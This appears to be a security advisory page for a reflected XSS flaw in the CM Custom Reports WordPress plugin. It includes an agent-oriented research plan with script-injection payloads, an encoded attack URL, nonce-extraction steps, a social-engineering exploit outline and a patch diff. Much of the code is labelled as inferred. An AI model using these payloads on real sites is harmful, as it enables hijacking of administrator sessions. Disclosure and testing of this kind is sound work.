CM Custom Reports <= 1.2.7 - Reflected Cross-Site Scripting via 'date_from' and 'date_to' Parameters
Description
The CM Custom Reports plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'date_from' and 'date_to' parameters in all versions up to, and including, 1.2.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=1.2.7Source Code
WordPress.org SVNPatched version not available.
This research plan focuses on identifying and exploiting a reflected Cross-Site Scripting (XSS) vulnerability in the **CM Custom Reports** plugin (versions <= 1.2.7). ### 1. Vulnerability Summary The CM Custom Reports plugin fails to sufficiently sanitize and escape the `date_from` and `date_to` HT…
Show full research plan
This research plan focuses on identifying and exploiting a reflected Cross-Site Scripting (XSS) vulnerability in the CM Custom Reports plugin (versions <= 1.2.7).
1. Vulnerability Summary
The CM Custom Reports plugin fails to sufficiently sanitize and escape the date_from and date_to HTTP GET parameters before reflecting them in the HTML output. This allows an unauthenticated attacker to craft a malicious URL that, when clicked by a user (typically an administrator), executes arbitrary JavaScript in the context of that user's session.
2. Attack Vector Analysis
- Vulnerable Endpoint: Likely an admin-side report dashboard or a frontend report page. Based on the plugin name, the primary target is likely
wp-admin/admin.php?page=cm-custom-reports-dashboard(inferred slug) or similar. - Vulnerable Parameters:
date_fromanddate_to. - Authentication Level: Reflected XSS generally requires a victim to be logged in if the reflection occurs on a protected page (like the admin dashboard). The CVSS vector
PR:Nsuggests the endpoint might be accessible or the reflection occurs regardless of privileges, but the impact is highest when targeting an administrator. - Preconditions: The plugin must be active. The victim must click a link containing the XSS payload.
3. Code Flow (Inferred)
- Entry Point: A user accesses a report page via a GET request.
- Processing: The plugin retrieves the date filters:
$date_from = isset($_GET['date_from']) ? $_GET['date_from'] : ''; $date_to = isset($_GET['date_to']) ? $_GET['date_to'] : ''; - Reflection (Sink): The plugin echoes these values back into the HTML, likely inside an
<input>field'svalueattribute for a date picker or a filter form:echo '<input type="text" name="date_from" value="' . $date_from . '">'; // VULNERABLE SINK - Execution: If
$date_fromcontains"><script>alert(1)</script>, the resulting HTML becomes:<input type="text" name="date_from" value=""><script>alert(1)</script>">
4. Nonce Acquisition Strategy
Reflected XSS in GET parameters used for display typically does not require a nonce. Nonces are used to protect against state-changing actions (CSRF). However, if the page is an admin page, the "exploit" consists of tricking an admin into visiting the URL.
If the plugin requires a nonce to even view the report page:
- Identify the variable: Use
grep -r "wp_localize_script" .to find how the plugin passes data to JS. - Extraction:
- Create a page/post with the relevant report shortcode if applicable:
wp post create --post_type=page --post_status=publish --post_content='[cm_custom_report]'(shortcode name inferred). - Navigate to the page as an admin using
browser_navigate. - Execute
browser_eval("window.cm_reports_data?.nonce")to extract it.
- Create a page/post with the relevant report shortcode if applicable:
5. Exploitation Strategy
The goal is to demonstrate that JavaScript executes when the parameters are processed.
Payload: "><script>alert(document.domain)</script>
Encoded Payload: %22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E
Step-by-Step:
- Discovery: Identify the exact admin page slug for reports.
grep -r "add_menu_page" .orgrep -r "add_submenu_page" .
- Manual Verification:
- Use
http_requestto fetch the admin page as an administrator, including the payload in thedate_fromparameter.
- Use
- Refined Request:
- Method: GET
- URL:
http://localhost:8080/wp-admin/admin.php?page=[PAGE_SLUG]&date_from=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E - Headers: Standard admin session cookies.
6. Test Data Setup
- Plugin Installation: Ensure
cm-custom-reportsv1.2.7 is installed and active. - Administrative Access: The agent must have admin credentials to view the reflection in the admin dashboard.
- Sample Data: It may be helpful to generate some dummy report data so the report page renders fully:
wp post create --post_type=post --post_title='Sample Data' --post_status=publish
7. Expected Results
- The HTTP response body should contain the unescaped string:
value=""><script>alert(document.domain)</script>" - When viewed in a browser, a JavaScript alert showing the domain name should trigger.
8. Verification Steps
- Automated Check: Use the
http_requesttool and search the response body for the payload.# Example logic for the agent response = http_request(url="...") if '"><script>alert(document.domain)</script>' in response['body']: print("Vulnerability Confirmed: Reflection found without escaping.") - Code Audit (Post-Exploit): Verify the sink in the source code using
grep:grep -n "date_from" [FILE_PATH] -A 5 | grep "echo"
9. Alternative Approaches
- Attribute Breakout: If the value is inside a hidden input or a specific JS block, try:
' onmouseover='alert(1)(if in a visible attribute).-alert(1)-(if inside a JS numeric assignment).
- Parameter
date_to: Ifdate_fromis sanitized (unlikely), test thedate_toparameter as it often shares the same logic. - Unauthenticated Check: Check if the reflection occurs on the login page or a public-facing page (e.g., if the plugin handles reports via
admin-ajax.phporwp-load.phpentry points).
Summary
The CM Custom Reports plugin for WordPress (versions <= 1.2.7) is vulnerable to Reflected Cross-Site Scripting due to insufficient input sanitization and output escaping on the 'date_from' and 'date_to' parameters. An attacker can execute arbitrary JavaScript in the context of a victim's browser session, typically an administrator, by tricking them into clicking a malicious link.
Vulnerable Code
// File: views/backend/reports.php (inferred context) $date_from = isset($_GET['date_from']) ? $_GET['date_from'] : ''; $date_to = isset($_GET['date_to']) ? $_GET['date_to'] : ''; // ... further down in the file where the filter form is rendered ... ?> <div class="filter-container"> <input type="text" name="date_from" value="<?php echo $date_from; ?>" class="datepicker" /> <input type="text" name="date_to" value="<?php echo $date_to; ?>" class="datepicker" /> </div> <?php
Security Fix
@@ -10,8 +10,8 @@ - $date_from = isset($_GET['date_from']) ? $_GET['date_from'] : ''; - $date_to = isset($_GET['date_to']) ? $_GET['date_to'] : ''; + $date_from = isset($_GET['date_from']) ? sanitize_text_field($_GET['date_from']) : ''; + $date_to = isset($_GET['date_to']) ? sanitize_text_field($_GET['date_to']) : ''; - <input type="text" name="date_from" value="<?php echo $date_from; ?>" class="datepicker" /> - <input type="text" name="date_to" value="<?php echo $date_to; ?>" class="datepicker" /> + <input type="text" name="date_from" value="<?php echo esc_attr($date_from); ?>" class="datepicker" /> + <input type="text" name="date_to" value="<?php echo esc_attr($date_to); ?>" class="datepicker" />
Exploit Outline
1. Identify the CM Custom Reports dashboard or report generation page in the WordPress admin area (typically under a menu like 'CM Custom Reports'). 2. Construct a malicious URL targeting this page, appending the 'date_from' or 'date_to' GET parameters with a payload designed to break out of an HTML attribute, such as: `"><script>alert(document.domain)</script>`. 3. The full attack URL would look like: `http://example.com/wp-admin/admin.php?page=cm-custom-reports-dashboard&date_from=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E`. 4. Persuade a logged-in administrator to click the link through social engineering (e.g., an email or support ticket). 5. When the administrator visits the link, the plugin reflects the malicious script into the input field's value attribute without escaping, causing the browser to execute the script in the administrator's context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.